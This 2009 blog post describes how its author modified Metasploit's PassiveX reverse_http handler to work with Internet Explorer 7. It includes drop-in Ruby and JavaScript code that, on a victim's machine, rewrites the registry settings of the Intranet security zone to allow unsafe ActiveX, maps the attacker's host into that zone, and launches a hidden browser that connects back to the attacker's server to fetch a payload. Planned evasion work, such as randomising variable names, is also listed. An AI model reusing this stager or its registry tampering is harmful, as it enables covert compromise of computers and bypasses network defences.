Tuesday, February 3, 2009

Updating the passivex handler to work with IE7

If you've ever played with metasploit before, you may have wondered what all of the windows/*/reverse_http payloads were:

msf exploit(handler) > search reverse_http
[*] Searching loaded modules for pattern 'reverse_http'...

Compatible payloads
===================

Name Description
---- -----------
generic/debug_trap/reverse_http Generic x86 Debug Trap, PassiveX Reverse HTTP Tunneling Stager
windows/dllinject/reverse_http Windows Inject DLL, PassiveX Reverse HTTP Tunneling Stager
windows/download_exec/reverse_http Windows Executable Download and Execute, PassiveX Reverse HTTP Tunneling Stager
windows/exec/reverse_http Windows Execute Command, PassiveX Reverse HTTP Tunneling Stager
windows/meterpreter/reverse_http Windows Meterpreter, PassiveX Reverse HTTP Tunneling Stager
windows/reflectivedllinject/reverse_http Reflective Dll Injection, PassiveX Reverse HTTP Tunneling Stager
windows/reflectivemeterpreter/reverse_http Windows Meterpreter, PassiveX Reverse HTTP Tunneling Stager
windows/reflectivevncinject/reverse_http Reflective VNC Dll Injection, PassiveX Reverse HTTP Tunneling Stager
windows/shell/reverse_http Windows Command Shell, PassiveX Reverse HTTP Tunneling Stager
windows/upexec/reverse_http Windows Upload/Execute, PassiveX Reverse HTTP Tunneling Stager
windows/vncinject/reverse_http Windows VNC Inject, PassiveX Reverse HTTP Tunneling Stager

Background detail on how this stager works is available in skape's excellent uninformed journal article.

A quick overview:

Passivex is an ActiveX control that implements a tunnel running inside IE for your msf payloads. As such, it gets things like network proxy configuration for free! Imagine an environment that blocked all outgoing ports -- but allowed users to browse the internet as long as they used the company's HTTP proxy. In these scenarios, a normal reverse_tcp payload will not work, because it will be blocked by the company's firewall. If you use a reverse_http payload, however, it'll float right through the HTTP proxy and connect back to your msf server! Assuming the user is already authenticated to the firewall/proxy, IE will helpfully log them in for you, too.

Unfortunately, there are a few restrictions with the current passivex stager:
  • It only works with IE6 due to a new IE7 security setting
  • It permanently neuters the security settings for your IE's Internet zone, giving every website IE6 users visit the option of running commands on the vulnerable machine
  • In IE7, not only does it not function, but the first website they visit after you've attempted a passivex payload is greeted with this huge, nasty warning:


When you use one of these payloads, it:
  1. Modifies registry entries located at HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\ that correspond to the "Download signed ActiveX controls", "Download unsigned ActiveX controls", "Run ActiveX controls and plug-ins", and "Initialize and script ActiveX controls not marked as safe for scripting" security settings.
  2. Launches an iexplore.exe marked to be invisible (you see a new process in task manager, only -- no window) pointed towards your msf server
  3. Msf responds with some HTTP that instantiates the passivex ActiveX control
  4. The passivex control begins communication, pulling down whatever payload you selected and piping it's output/input back to the msf server
An ideal version of passivex would work in both IE6 and IE7, would limit it's impact on the compromised system, would clean up after itself whenever it's done, and would not increase the size of the initial stager.

To keep the initial size small and because it was easiest, I implemented all of this in the javascript of the 3rd item, above. This is possible because the "Initialize and script ActiveX controls not marked as safe for scripting" setting grants access to modify the registry (assuming the user has rights) and run commands. The javascript
  • Drops your IP address into the Intranet security zone
  • Modifies the 4 settings above, plus the new setting "Allow previously unused ActiveX controls to run without prompt", for the Intranet zone
  • Launches a second copy of IE that will run under the new permissions
  • Restores the Internet security zone to it's default settings
  • Waits 60 seconds and then restores the Intranet security settings to the default
Below is the beta code that does just that. Replace ~line 317 lib/msf/core/handler/passivex.rb where it sets the resp.body variable with the below, restart metasploit, and you should be good to go.

Still to do:
  • Randomize variables, remove white space inside needed variables, then randomize whitespace
  • Implement HTTPS for encryption (this shouldn't be hard; ruby/msf already support it)
  • Modify the ASM block in the initial stager to not modify all the extra security settings; it now only needs to modify 1201, "Initialize and script ActiveX controls not marked as safe for scripting"
                # fixed to work with IE7
resp.body = %Q^<html>
<object classid="CLSID:#{datastore['PXAXCLSID']}" codebase="#{datastore['PXURI']}/passivex.dll##{datastore['PXAXVER']}">
<param name="HttpHost" value="#{datastore['PXHOST']}">
<param name="HttpPort" value="#{datastore['PXPORT']}">
<param name="HttpUriBase" value="#{datastore['PXURI']}">
<param name="HttpSid" value="#{nsid}">^ + ((stage_payload) ? %Q^
<param name="DownloadSecondStage" value="1">^ : "") + %Q^
</object>
<script>
var WshShell = new ActiveXObject("Wscript.Shell");
var marker = true;
var regCheck;
var regRange = "HKLM\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings\\\\ZoneMap\\\\Ranges\\\\random\\\\" //Can be any value
var regIntranet = "HKLM\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings\\\\Zones\\\\1\\\\";

//Check if we've run this before.
try { regCheck = WshShell.RegRead(regRange + "marker"); } catch (e) { marker = false; }

if (marker == false) {
//Modify perms for the Intranet zone.
WshShell.RegWrite(regIntranet + "1001",0,"REG_DWORD");
WshShell.RegWrite(regIntranet + "1004",0,"REG_DWORD");
WshShell.RegWrite(regIntranet + "1200",0,"REG_DWORD");
WshShell.RegWrite(regIntranet + "1201",0,"REG_DWORD");
WshShell.RegWrite(regIntranet + "1208",0,"REG_DWORD");

//Map IP to the newly modified zone.
WshShell.RegWrite(regRange,1,"REG_SZ");
WshShell.RegWrite(regRange + ":Range","#{datastore['PXHOST']}","REG_SZ");
WshShell.RegWrite(regRange + "*",1,"REG_DWORD");
WshShell.RegWrite(regRange + "marker",1,"REG_DWORD"); //Just a marker

//Clean up after the original passivex stage1 loader; reset to default IE7 install
var regDefault = "HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings\\\\Zones\\\\3\\\\";
WshShell.RegWrite(regDefault + "1001",1,"REG_DWORD");
WshShell.RegWrite(regDefault + "1004",3,"REG_DWORD");
WshShell.RegWrite(regDefault + "1200",0,"REG_DWORD");
WshShell.RegWrite(regDefault + "1201",3,"REG_DWORD");

//Clean up and delete the created entries
setTimeout('WshShell.RegDelete(regIntranet + "1001")', 60000);
setTimeout('WshShell.RegDelete(regIntranet + "1004")', 60000);
setTimeout('WshShell.RegDelete(regIntranet + "1200")', 60000);
setTimeout('WshShell.RegDelete(regIntranet + "1201")', 60000);
setTimeout('WshShell.RegDelete(regIntranet + "1208")', 60000);
setTimeout('WshShell.RegDelete(regRange)', 60000);

WshShell.Run("iexplore.exe -new http://#{datastore['PXHOST']}:#{datastore['PXPORT']}#{datastore['PXURI']}",0,false);
}
</script>
</html>^

1 comment:

Anonymous said...

Just wanted to say nice work friend. Just what I need.

-rogue